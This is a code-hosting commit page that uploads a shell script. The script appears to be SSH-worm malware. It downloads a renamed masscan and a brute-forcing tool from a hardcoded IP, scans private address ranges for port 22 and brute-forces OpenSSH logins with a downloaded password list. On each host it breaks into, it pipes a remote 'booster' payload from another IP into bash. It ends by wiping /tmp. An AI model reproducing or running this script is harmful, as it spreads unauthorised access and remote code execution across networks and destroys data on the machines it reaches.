Commit 27eeacc8 authored by 0m3g4's avatar 0m3g4

Upload New File

parent f3b01040
Pipeline #197 canceled with stages
scan() {
echo "Show time!"
DIR=/tmp
url=http://1.234.16.54:7070/apiapi/api/raw/master/p
_sigx="/tmp/.sshcheck235"
if [ $(id -u) -eq 0 ]; then
if [ ! -f $_sigx ]; then
touch $_sigx
rm -rf $DIR/alive.lst $DIR/b.lst $DIR/h.lst $DIR/block.lst $DIR/p.lst
echo "downloading..."
wget $url/spirit -O $DIR/prototypex || curl -L $url/spirit -o $DIR/prototypex
wget $url/masscan -O $DIR/strangeralien || curl -L $url/masscan -o $DIR/strangeralien
wget $url/newp -O $DIR/p.lst || curl -L $url/newp -o $DIR/p.lst
echo "download completed!"
chmod +x $DIR/prototypex
chmod +x $DIR/strangeralien
nohup $DIR/strangeralien 10.0.0.0/8 172.16.0.0/12 192.168.0.0/16 --max-rate 10000 -p22 -oG /tmp/open.lst --wait 0 >/dev/null 2>&1 &
while pgrep "strangeralien" >/dev/null; do
sleep 10
echo "Waiting for scan..."
done
nohup $DIR/prototypex parse /tmp/open.lst >/dev/null 2>&1 &
sleep 10
nohup $DIR/prototypex banner -f -t 300 >/dev/null 2>&1 &
sleep 10
cat $DIR/b.lst | grep OpenSSH | sort -u > $DIR/h.lst
sleep 10
nohup $DIR/prototypex -t 3s -c "(curl -s http://123.30.179.206:8189/solr/.v7/booster || wget -q -O - http://123.30.179.206:8189/solr/.v7/booster) | bash -sh" brute -j 300 >/dev/null 2>&1
fi
else
if [ ! -f $_sigx ]; then
touch $_sigx
rm -rf $DIR/alive.lst $DIR/b.lst $DIR/h.lst $DIR/block.lst $DIR/p.lst
echo "downloading..."
wget $url/spirit -O $DIR/prototypex || curl -L $url/spirit -o $DIR/prototypex
wget $url/newp -O $DIR/p.lst || curl -L $url/newp -o $DIR/p.lst
wget $url/net -O $DIR/nn || curl -L $url/net -o $DIR/nn
echo "download completed!"
chmod +x $DIR/prototypex
chmod +x $DIR/nn
addr=$($DIR/nn | cut -d "." -f1,2)
echo $addr
nohup $DIR/prototypex scan --range $addr.*.* --timeout 3s -p 22 -j 300 >/dev/null 2>&1
while pgrep "prototypex" >/dev/null; do
sleep 10
echo "Waiting for scan..."
done
mv $DIR/scan.lst $DIR/h.lst
sleep 10
nohup $DIR/prototypex banner -f -t 300 >/dev/null 2>&1 &
sleep 10
cat $DIR/b.lst | grep OpenSSH | sort -u > $DIR/h.lst
sleep 10
nohup $DIR/prototypex -t 3s -c "(curl -s http://123.30.179.206:8189/solr/.v7/booster || wget -q -O - http://123.30.179.206:8189/solr/.v7/booster) | bash -sh" brute -j 300 >/dev/null 2>&1
fi
fi
}
scan
rm -rf /tmp/*
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment